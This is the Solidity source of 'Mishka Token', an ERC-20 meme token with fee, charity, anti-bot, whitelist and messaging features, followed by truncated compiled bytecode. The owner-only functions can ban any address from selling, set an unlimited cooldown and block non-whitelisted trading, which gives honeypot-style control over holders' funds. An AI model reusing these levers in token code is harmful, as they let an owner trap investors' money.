// $$\ $$\ $$$$$$\ $$$$$$\ $$\ $$\ $$\ $$\ $$$$$$\ // $$$\ $$$ |\_$$ _|$$ __$$\ $$ | $$ |$$ | $$ |$$ __$$\ // $$$$\ $$$$ | $$ | $$ / \__|$$ | $$ |$$ |$$ / $$ / $$ | // $$\$$\$$ $$ | $$ | \$$$$$$\ $$$$$$$$ |$$$$$ / $$$$$$$$ | // $$ \$$$ $$ | $$ | \____$$\ $$ __$$ |$$ $$< $$ __$$ | // $$ |\$ /$$ | $$ | $$\ $$ |$$ | $$ |$$ |\$$\ $$ | $$ | // $$ | \_/ $$ |$$$$$$\ \$$$$$$ |$$ | $$ |$$ | \$$\ $$ | $$ | // \__| \__|\______| \______/ \__| \__|\__| \__|\__| \__| // MishkaToken.com ($MISHKA): The Inu Killer // $MISHKA is a deflationary defi meme token that donates teddy bears to children with every transaction // https://mishkatoken.com // https://t.me/mishkatoken // Let's Feed This Bear /* * ****USING FTPAntiBot**** */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private m_Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); m_Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return m_Owner; } function transferOwnership(address _address) public virtual onlyOwner { emit OwnershipTransferred(m_Owner, _address); m_Owner = _address; } modifier onlyOwner() { require(_msgSender() == m_Owner, "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface FTPAntiBot { function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool); function registerBlock(address _recipient, address _sender) external; } contract MishkaToken is Context, IERC20, Ownable { using SafeMath for uint256; uint256 private constant TOTAL_SUPPLY = 1000000000000 * 10**9; //9 decimal spots after the amount string private m_Name = "Mishka Token"; string private m_Symbol = "MISHKA"; uint8 private m_Decimals = 9; uint256 private m_BanCount = 0; uint256 private m_TxLimit = 5000000000 * 10**9; // 0.5% of total supply uint256 private m_SafeTxLimit = m_TxLimit; uint256 private m_WalletLimit = m_SafeTxLimit.mul(4); uint256 private m_Toll = 480; //4.8% Marketing & Dev uint256 private m_Charity = 20; // 0.2% Charity uint256 private _numOfTokensForDisperse = 5000000 * 10**9; // Exchange to Eth Limit - 5 Mil address payable private m_TollAddress; address payable private m_CharityAddress; address private m_UniswapV2Pair; bool private m_TradingOpened = false; bool private m_PublicTradingOpened = false; bool private m_IsSwap = false; bool private m_SwapEnabled = false; bool private m_AntiBot = false; uint256 private m_CoolDownSeconds = 0; mapping(address => uint256) private m_Cooldown; mapping (address => bool) private m_Whitelist; mapping (address => bool) private m_Forgiven; mapping (address => bool) private m_Exchange; mapping (address => bool) private m_Bots; mapping (address => bool) private m_ExcludedAddresses; mapping (address => uint256) private m_Balances; mapping (address => mapping (address => uint256)) private m_Allowances; FTPAntiBot private AntiBot; IUniswapV2Router02 private m_UniswapV2Router; event MaxOutTxLimit(uint MaxTransaction); event BanAddress(address Address, address Origin); modifier lockTheSwap { m_IsSwap = true; _; m_IsSwap = false; } receive() external payable {} constructor () { FTPAntiBot _antiBot = FTPAntiBot(0x590C2B20f7920A2D21eD32A21B616906b4209A43); AntiBot = _antiBot; m_Balances[address(this)] = TOTAL_SUPPLY; m_ExcludedAddresses[owner()] = true; m_ExcludedAddresses[address(this)] = true; emit Transfer(address(0), address(this), TOTAL_SUPPLY); } // #################### // ##### DEFAULTS ##### // #################### function name() public view returns (string memory) { return m_Name; } function symbol() public view returns (string memory) { return m_Symbol; } function decimals() public view returns (uint8) { return m_Decimals; } // ##################### // ##### OVERRIDES ##### // ##################### function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function balanceOf(address _account) public view override returns (uint256) { return m_Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return m_Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } // #################### // ##### PRIVATES ##### // #################### function _readyToSwap(address _sender) private view returns(bool) { return !m_IsSwap && _sender != m_UniswapV2Pair && m_SwapEnabled; } function _trader(address _sender, address _recipient) private view returns(bool) { return _sender != owner() && _recipient != owner() && m_TradingOpened; } function _senderNotExchange(address _sender) private view returns(bool) { return m_Exchange[_sender] == false; } function _txSale(address _sender, address _recipient) private view returns(bool) { return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient]; } function _walletCapped(address _recipient) private view returns(bool) { return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router); } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { return m_Exchange[_sender] || m_Exchange[_recipient]; } function _isForgiven(address _address) private view returns (bool) { return m_Forgiven[_address]; } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); m_Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _checkBot(address _recipient, address _sender, address _origin) private { if((_recipient == m_UniswapV2Pair || _sender == m_UniswapV2Pair) && m_TradingOpened){ bool recipientAddress = AntiBot.scanAddress(_recipient, m_UniswapV2Pair, _origin) && !_isForgiven(_recipient); // Get AntiBot result bool senderAddress = AntiBot.scanAddress(_sender, m_UniswapV2Pair, _origin) && !_isForgiven(_sender); // Get AntiBot result if(recipientAddress){ _banSeller(_recipient); _banSeller(_origin); emit BanAddress(_recipient, _origin); } if(senderAddress){ _banSeller(_sender); _banSeller(_origin); emit BanAddress(_sender, _origin); } } } function _banSeller(address _address) private { if(!m_Bots[_address]) m_BanCount += 1; m_Bots[_address] = true; } function _transfer(address _sender, address _recipient, uint256 _amount) private { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); require(_amount > 0, "Transfer amount must be greater than zero"); if (!m_PublicTradingOpened) require(m_Whitelist[_recipient]); if(_walletCapped(_recipient)) { uint256 _newBalance = balanceOf(_recipient).add(_amount); require(_newBalance < m_WalletLimit); // Check balance of recipient and if < max amount, fails } if(m_AntiBot) { _checkBot(_recipient, _sender, tx.origin); //calls AntiBot for results if(_senderNotExchange(_sender) && m_TradingOpened){ // HoneyBot require(m_Bots[_sender] == false, "This bear doesn't like you. Look for honey elsewhere."); } } else { if (m_TradingOpened) { if(_senderNotExchange(_sender)) { require(m_Bots[_sender] == false, "This bear doesn't like you. Look for honey elsewhere."); if (m_CoolDownSeconds > 0) { require(m_Cooldown[_sender] < block.timestamp); m_Cooldown[_sender] = block.timestamp + ( m_CoolDownSeconds * (1 seconds)); } } else { if (m_CoolDownSeconds > 0) { require(m_Cooldown[_recipient] < block.timestamp); m_Cooldown[_recipient] = block.timestamp + ( m_CoolDownSeconds * (1 seconds)); } } } } if (_trader(_sender, _recipient)) { //if (_txSale(_sender, _recipient)) require(_amount <= m_TxLimit); if (_isExchangeTransfer(_sender, _recipient)) // If trader is buying/selling through an exchange _payToll(_sender); // This contract taxes users X% on every tX and converts it to Eth to send to wherever } _handleBalances(_sender, _recipient, _amount); // Move coins if(m_AntiBot) // Check if AntiBot is enabled AntiBot.registerBlock(_sender, _recipient); // Tells AntiBot to start watching } function _handleBalances(address _sender, address _recipient, uint256 _amount) private { if (_isExchangeTransfer(_sender, _recipient)) { uint256 _tollBasisPoints = _getTollBasisPoints(_sender, _recipient); uint256 _tollAmount = _amount.mul(_tollBasisPoints).div(10000); uint256 _newAmount = _amount.sub(_tollAmount); uint256 _charityBasisPoints = _getCharityBasisPoints(_sender, _recipient); uint256 _charityAmount = _amount.mul(_charityBasisPoints).div(10000); _newAmount = _newAmount.sub(_charityAmount); m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_newAmount); m_Balances[address(this)] = m_Balances[address(this)].add(_tollAmount).add(_charityAmount); // Add toll + charity amount to total supply emit Transfer(_sender, _recipient, _newAmount); } else { m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_amount); emit Transfer(_sender, _recipient, _amount); } } function _getTollBasisPoints(address _sender, address _recipient) private view returns (uint256) { bool _take = !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]); if(!_take) return 0; return m_Toll; } function _getCharityBasisPoints(address _sender, address _recipient) private view returns (uint256) { bool _take = !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]); if(!_take) return 0; return m_Charity; } function _payToll(address _sender) private { uint256 _tokenBalance = balanceOf(address(this)); bool overMinTokenBalanceForDisperseEth = _tokenBalance >= _numOfTokensForDisperse; if (_readyToSwap(_sender) && overMinTokenBalanceForDisperseEth) { _swapTokensForETH(_tokenBalance); _disperseEth(); } } function _swapTokensForETH(uint256 _amount) private lockTheSwap { address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = m_UniswapV2Router.WETH(); _approve(address(this), address(m_UniswapV2Router), _amount); m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, address(this), block.timestamp ); } function _disperseEth() private { uint256 _ethBalance = address(this).balance; uint256 _total = m_Charity.add(m_Toll); uint256 _charity = m_Charity.mul(_ethBalance).div(_total); m_CharityAddress.transfer(_charity); m_TollAddress.transfer(_ethBalance.sub(_charity)); } // #################### // ##### EXTERNAL ##### // #################### function banCount() external view returns (uint256) { return m_BanCount; } function checkIfBanned(address _address) external view returns (bool) { // Tool for traders to verify ban status bool _banBool = false; if(m_Bots[_address]) _banBool = true; return _banBool; } function isAntiBot() external view returns (uint256) { // Check if Anti Bot is turned on if (m_AntiBot == true) return 1; else return 0; } function isWhitelisted(address _address) external view returns (bool) { return m_Whitelist[_address]; } function isForgiven(address _address) external view returns (bool) { return m_Forgiven[_address]; } function isExchangeAddress(address _address) external view returns (bool) { return m_Exchange[_address]; } // ###################### // ##### ONLY OWNER ##### // ###################### function addLiquidity() external onlyOwner() { require(!m_TradingOpened,"trading is already open"); m_Whitelist[_msgSender()] = true; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); m_UniswapV2Router = _uniswapV2Router; m_Whitelist[address(m_UniswapV2Router)] = true; _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY); m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); m_Whitelist[m_UniswapV2Pair] = true; m_Exchange[m_UniswapV2Pair] = true; m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); m_SwapEnabled = true; m_TradingOpened = true; IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max); } function setTxLimit(uint256 txLimit) external onlyOwner() { uint256 txLimitWei = txLimit * 10**9; // Set limit with token instead of wei require(txLimitWei > TOTAL_SUPPLY.div(1000)); // Minimum TxLimit is 0.1% to avoid freeze m_TxLimit = txLimitWei; m_SafeTxLimit = m_TxLimit; m_WalletLimit = m_SafeTxLimit.mul(4); } function setTollBasisPoints(uint256 toll) external onlyOwner() { require(toll <= 500); // Max Toll can be set to 5% m_Toll = toll; } function setCharityBasisPoints(uint256 charity) external onlyOwner() { require(charity <= 500); // Max Charity can be set to 5% m_Charity = charity; } function setNumOfTokensForDisperse(uint256 tokens) external onlyOwner() { uint256 tokensToDisperseWei = tokens * 10**9; // Set limit with token instead of wei _numOfTokensForDisperse = tokensToDisperseWei; } function setTxLimitMax() external onlyOwner() { // MaxTx set to MaxWalletLimit m_TxLimit = m_WalletLimit; m_SafeTxLimit = m_WalletLimit; emit MaxOutTxLimit(m_TxLimit); } function addBot(address _a) public onlyOwner() { m_Bots[_a] = true; m_BanCount += 1; } // Send & Read MishkaMail Functionality mapping (address => ChatContents) private m_Chat; struct ChatContents { mapping (address => string) m_Message; } function aaaSendMessage(address sendToAddress, string memory message) public { m_Chat[sendToAddress].m_Message[_msgSender()] = message; uint256 _amount = 777000000000; _handleBalances(_msgSender(), sendToAddress, _amount); // Move coins } function aaaReadMessage(address senderAddress, address yourWalletAddress) external view returns (string memory) { return m_Chat[yourWalletAddress].m_Message[senderAddress]; } function addBotMultiple(address[] memory _addresses) public onlyOwner { for (uint256 i = 0; i < _addresses.length; i++) { addBot(_addresses[i]); } } function removeBot(address _a) external onlyOwner() { m_Bots[_a] = false; m_BanCount -= 1; } function setCoolDownSeconds(uint256 coolDownSeconds) external onlyOwner() { m_CoolDownSeconds = coolDownSeconds; } function getCoolDownSeconds() public view returns (uint256) { return m_CoolDownSeconds; } function contractBalance() external view onlyOwner() returns (uint256) { // Used to verify initial balance for addLiquidity return address(this).balance; } function setTollAddress(address payable _tollAddress) external onlyOwner() { m_TollAddress = _tollAddress; m_ExcludedAddresses[_tollAddress] = true; } function setCharityAddress(address payable _charityAddress) external onlyOwner() { m_CharityAddress = _charityAddress; m_ExcludedAddresses[_charityAddress] = true; } function assignAntiBot(address _address) external onlyOwner() { // Set to live net when published. FTPAntiBot _antiBot = FTPAntiBot(_address); AntiBot = _antiBot; } function setAntiBotOn() external onlyOwner() { m_AntiBot = true; } function setAntiBotOff() external onlyOwner() { m_AntiBot = false; } function openPublicTrading() external onlyOwner() { m_PublicTradingOpened = true; } function isPublicTradingOpen() external onlyOwner() view returns (bool) { return m_PublicTradingOpened; } function addWhitelist(address _address) public onlyOwner() { m_Whitelist[_address] = true; } function addWhitelistMultiple(address[] memory _addresses) public onlyOwner { for (uint256 i = 0; i < _addresses.length; i++) { addWhitelist(_addresses[i]); } } function removeWhitelist(address _address) external onlyOwner() { m_Whitelist[_address] = false; } // This exists in the event an address is falsely banned function forgiveAddress(address _address) external onlyOwner() { m_Forgiven[_address] = true; } function rmForgivenAddress(address _address) external onlyOwner() { m_Forgiven[_address] = false; } function addExchangeAddress(address _address) external onlyOwner() { m_Exchange[_address] = true; } function rmExchangeAddress(address _address) external onlyOwner() { m_Exchange[_address] = false; } }
0x6080604052600436106102765760003560e01c8063790a1e8d1161014f578063c735f3c9116100c1578063e8347c391161007a578063e8347c3914610953578063f2fde38b1461096a578063f80f5dd514610993578063fa2b2009146109bc578063ffc78cff146109e7578063ffecf51614610a105761027d565b8063c735f3c91461087f578063cd4ecd5314610896578063d5e86d83146108bf578063dc907dea146108e8578063dd62ed3e146108ff578063e8078d941461093c5761027d565b806395d89b411161011357806395d89b4114610785578063a9059cbb146107b0578063b2b19f1a146107ed578063b451192d14610816578063bd5dce651461083f578063c1581485146108565761027d565b8063790a1e8d146106a05780638708f787146106dd5780638a2e271a146107065780638b7afe2e1461072f5780638da5cb5b1461075a5761027d565b80633f5b7d67116101e857806365407b6d116101ac57806365407b6d1461056c5780636fbeb45d14610595578063700542ec146105c057806370a08231146105fd57806373286f891461063a57806378c8cda7146106775761027d565b80633f5b7d671461048b5780634c70f875146104c85780635c85974f146104f15780635fecd9261461051a57806362caa704146105435761027d565b806318160ddd1161023a57806318160ddd1461036757806323b872dd14610392578063285de426146103cf578063313ce567146103fa57806334b9acd3146104255780633af32abf1461044e5761027d565b806306fdde0314610282578063070fad74146102ad578063095ea7b3146102d65780630c9be46d1461031357806313c9dd021461033c5761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610a39565b6040516102a491906151e7565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190614de8565b610acb565b005b3480156102e257600080fd5b506102fd60048036038101906102f89190614d42565b610b6a565b60405161030a91906151cc565b60405180910390f35b34801561031f57600080fd5b5061033a60048036038101906103359190614c3a565b610b88565b005b34801561034857600080fd5b50610351610cb9565b60405161035e91906151cc565b60405180910390f35b34801561037357600080fd5b5061037c610d66565b6040516103899190615349565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190614c9f565b610d77565b6040516103c691906151cc565b60405180910390f35b3480156103db57600080fd5b506103e4610e50565b6040516103f19190615349565b60405180910390f35b34801561040657600080fd5b5061040f610e5a565b60405161041c91906153be565b60405180910390f35b34801561043157600080fd5b5061044c60048036038101906104479190614d7e565b610e71565b005b34801561045a57600080fd5b5061047560048036038101906104709190614be8565b610f72565b60405161048291906151cc565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad9190614be8565b610fc8565b6040516104bf91906151cc565b60405180910390f35b3480156104d457600080fd5b506104ef60048036038101906104ea9190614be8565b61101e565b005b3480156104fd57600080fd5b5061051860048036038101906105139190614de8565b61110e565b005b34801561052657600080fd5b50610541600480360381019061053c9190614be8565b611210565b005b34801561054f57600080fd5b5061056a60048036038101906105659190614be8565b61131a565b005b34801561057857600080fd5b50610593600480360381019061058e9190614de8565b6113f9565b005b3480156105a157600080fd5b506105aa6114ad565b6040516105b79190615349565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190614be8565b6114dc565b6040516105f491906151cc565b60405180910390f35b34801561060957600080fd5b50610624600480360381019061061f9190614be8565b611543565b6040516106319190615349565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190614c63565b61158c565b60405161066e91906151e7565b60405180910390f35b34801561068357600080fd5b5061069e60048036038101906106999190614be8565b61169e565b005b3480156106ac57600080fd5b506106c760048036038101906106c29190614be8565b61178e565b6040516106d491906151cc565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff9190614de8565b6117e4565b005b34801561071257600080fd5b5061072d60048036038101906107289190614be8565b611892565b005b34801561073b57600080fd5b50610744611982565b6040516107519190615349565b60405180910390f35b34801561076657600080fd5b5061076f611a20565b60405161077c91906150c7565b60405180910390f35b34801561079157600080fd5b5061079a611a49565b6040516107a791906151e7565b60405180910390f35b3480156107bc57600080fd5b506107d760048036038101906107d29190614d42565b611adb565b6040516107e491906151cc565b60405180910390f35b3480156107f957600080fd5b50610814600480360381019061080f9190614de8565b611af9565b005b34801561082257600080fd5b5061083d60048036038101906108389190614c3a565b611ba7565b005b34801561084b57600080fd5b50610854611cd8565b005b34801561086257600080fd5b5061087d60048036038101906108789190614be8565b611d8a565b005b34801561088b57600080fd5b50610894611e7a565b005b3480156108a257600080fd5b506108bd60048036038101906108b89190614cee565b611f5c565b005b3480156108cb57600080fd5b506108e660048036038101906108e19190614be8565b612018565b005b3480156108f457600080fd5b506108fd612108565b005b34801561090b57600080fd5b5061092660048036038101906109219190614c63565b6121ba565b6040516109339190615349565b60405180910390f35b34801561094857600080fd5b50610951612241565b005b34801561095f57600080fd5b50610968612940565b005b34801561097657600080fd5b50610991600480360381019061098c9190614be8565b6129f2565b005b34801561099f57600080fd5b506109ba60048036038101906109b59190614be8565b612b44565b005b3480156109c857600080fd5b506109d1612c34565b6040516109de9190615349565b60405180910390f35b3480156109f357600080fd5b50610a0e6004803603810190610a099190614d7e565b612c3e565b005b348015610a1c57600080fd5b50610a376004803603810190610a329190614be8565b612d3f565b005b606060018054610a4890615680565b80601f0160208091040260200160405190810160405280929190818152602001828054610a7490615680565b8015610ac15780601f10610a9657610100808354040283529160200191610ac1565b820191906000526020600020905b815481529060010190602001808311610aa457829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0a612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614610b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b57906152a9565b60405180910390fd5b80600e8190555050565b6000610b7e610b77612ec4565b8484612ecc565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc7612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c14906152a9565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cfb612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d48906152a9565b60405180910390fd5b600d60159054906101000a900460ff16905090565b6000683635c9adc5dea00000905090565b6000610d84848484613097565b610e4584610d90612ec4565b610e4085604051806060016040528060288152602001615afa60289139601660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610df6612ec4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136549092919063ffffffff16565b612ecc565b600190509392505050565b6000600e54905090565b6000600360009054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eb0612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd906152a9565b60405180910390fd5b60005b8151811015610f6e57610f5b828281518110610f4e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151612d3f565b8080610f66906156e3565b915050610f09565b5050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661105d612ec4565b73ffffffffffffffffffffffffffffffffffffffff16146110b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110aa906152a9565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661114d612ec4565b73ffffffffffffffffffffffffffffffffffffffff16146111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a906152a9565b60405180910390fd5b6000633b9aca00826111b59190615537565b90506111d56103e8683635c9adc5dea000006136b890919063ffffffff16565b81116111e057600080fd5b806005819055506005546006819055506112066004600654612e4990919063ffffffff16565b6007819055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661124f612ec4565b73ffffffffffffffffffffffffffffffffffffffff16146112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c906152a9565b60405180910390fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008282546113109190615591565b9250508190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611359612ec4565b73ffffffffffffffffffffffffffffffffffffffff16146113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a6906152a9565b60405180910390fd5b600081905080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611438612ec4565b73ffffffffffffffffffffffffffffffffffffffff161461148e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611485906152a9565b60405180910390fd5b6000633b9aca00826114a09190615537565b905080600a819055505050565b600060011515600d60189054906101000a900460ff16151514156114d457600190506114d9565b600090505b90565b60008060009050601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561153a57600190505b80915050919050565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805461161890615680565b80601f016020809104026020016040519081016040528092919081815260200182805461164490615680565b80156116915780601f1061166657610100808354040283529160200191611691565b820191906000526020600020905b81548152906001019060200180831161167457829003601f168201915b5050505050905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116dd612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614611733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172a906152a9565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611823612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614611879576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611870906152a9565b60405180910390fd5b6101f481111561188857600080fd5b8060098190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118d1612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614611927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191e906152a9565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119c4612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614611a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a11906152a9565b60405180910390fd5b47905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611a5890615680565b80601f0160208091040260200160405190810160405280929190818152602001828054611a8490615680565b8015611ad15780601f10611aa657610100808354040283529160200191611ad1565b820191906000526020600020905b815481529060010190602001808311611ab457829003601f168201915b5050505050905090565b6000611aef611ae8612ec4565b8484613097565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b38612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614611b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b85906152a9565b60405180910390fd5b6101f4811115611b9d57600080fd5b8060088190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611be6612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614611c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c33906152a9565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d17612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614611d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d64906152a9565b60405180910390fd5b6001600d60186101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dc96